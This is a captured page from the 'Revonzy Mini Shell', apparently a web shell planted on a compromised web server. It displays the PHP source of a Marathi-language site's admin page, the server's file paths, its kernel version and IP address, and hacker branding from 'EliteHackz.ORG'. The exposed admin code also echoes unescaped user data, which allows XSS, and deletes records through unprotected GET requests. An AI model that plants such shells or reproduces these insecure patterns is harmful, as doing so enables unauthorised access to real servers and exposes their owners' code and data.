Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/panel.atsevairag.com/atse_admin_panel007/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/panel.atsevairag.com/atse_admin_panel007/home-page-instructions.php

<?php
	require_once("../lib/class/functions.php");
	
	$db = new functions();
	
	$current_page = "";
	
	if(!isset($_SESSION['current_admn_email']))
	{	
		header("Location:/atse_admin_panel007/index.php");
	}
	$standard_error		=	"";
	$serial_no_error	=	"";
	$prices_amount_error=	"";
	$certificate_material_error 	=	"";
	
	$flag				=	0;
	$success_msg 		= 	0;
	$text_data			=	"";
	
	if(isset($_POST['update_prices']))
	{
		$text_data		=	$_POST['text_data'];

		if($flag==0)
		{
			if($db->insert_new_main_page_info($text_data))
			{
			    $success_msg = 1;
			}
		}
	}
	
	if(isset($_GET['del_id']))
	{
		$delete_id = $_GET['del_id'];
		
		$db->delete_main_page_info($delete_id);
	}
?>
<html>
<head>
	<meta charset="UTF-8">
	<title>ATSE Vairag</title>
	
	<link rel="stylesheet" type="text/css" href="/css/stylesheet.css" />
	<script type="text/javascript" src="/js/jquery-1.9.1.min.js"></script>
	<script type="text/javascript" src="/js/site.js"></script>
</head>
<body>

<?php
	require_once('header.php');
	
	
?>
	<div style="min-height:570px;">
		<div class="admin-mid-section">
			<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
			<br />
			<center><strong>मेन पेज माहिती </strong></center>
			<hr />
			<div class="add_centre_container">
			
			<?php
				if($success_msg=="1")
				{
			?>
				<div class="add_centre_success">
			    मेन पेज माहिती    अपडेट केली आहे.
				</div>
				<br />
			<?php
				}
			?>
			
			<input type="text" id="text_data" name="text_data" class="txtflds" placeholder="माहिती भरा" value="<?php echo $text_data; ?>" />
			<span class="error_indicator"><?php echo $prices_amount_error; ?></span>
			
				<br />
				<center><input type="submit" name="update_prices" value="जतन करा" id="update_prices" class="reg_btn_form" style="width:140px;" /></center>
			</div>
		</form>
		
		<div class="fees_data_container">
			<center>
				<table border="1" class="centre_tab">
					<tr style="background-color:#EFEFEF;">
						<td width="50">अ. क्र.</td>
						<td width="200">माहिती</td>
						<td width=""></td>
						<td width=""></td>
					</tr>
			<?php
				$fees_data 	= 	array();
				$fees_data	=	$db->get_all_main_page_info();
				
				if(!empty($fees_data))
				{
					$count = 0;
					foreach($fees_data as $data)
					{
						$id				=	$fees_data[$count][0];
						$info   		=	$fees_data[$count][1];
						$date			=	$fees_data[$count][2];
						$time			=	$fees_data[$count][3];
			?>
						<tr>
							<td><?php echo $id; ?></td>
							<td><?php echo $info; ?></td>
							<td width="60"><a href="edit-home-page-instructions.php?edt_id=<?php echo $id; ?>">Edit</a></td>
							<td><a href="<?php echo $_SERVER['PHP_SELF']."?del_id=".$id; ?>" class="delete_link_report" id="fees_delete_link">Delete</a></td>
						</tr>
			<?php
						$count++;
					}
				}
				else
				{
			?>
						<tr>
							<td colspan="5">कोणतीही माहिती जतन केलेली नाही </td>
						</tr>
			<?php
				}
			?>
				</table>
			</center>
		</div>
	</div>
</div>
	
	<?php
		require_once('footer.php');
	?>

</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4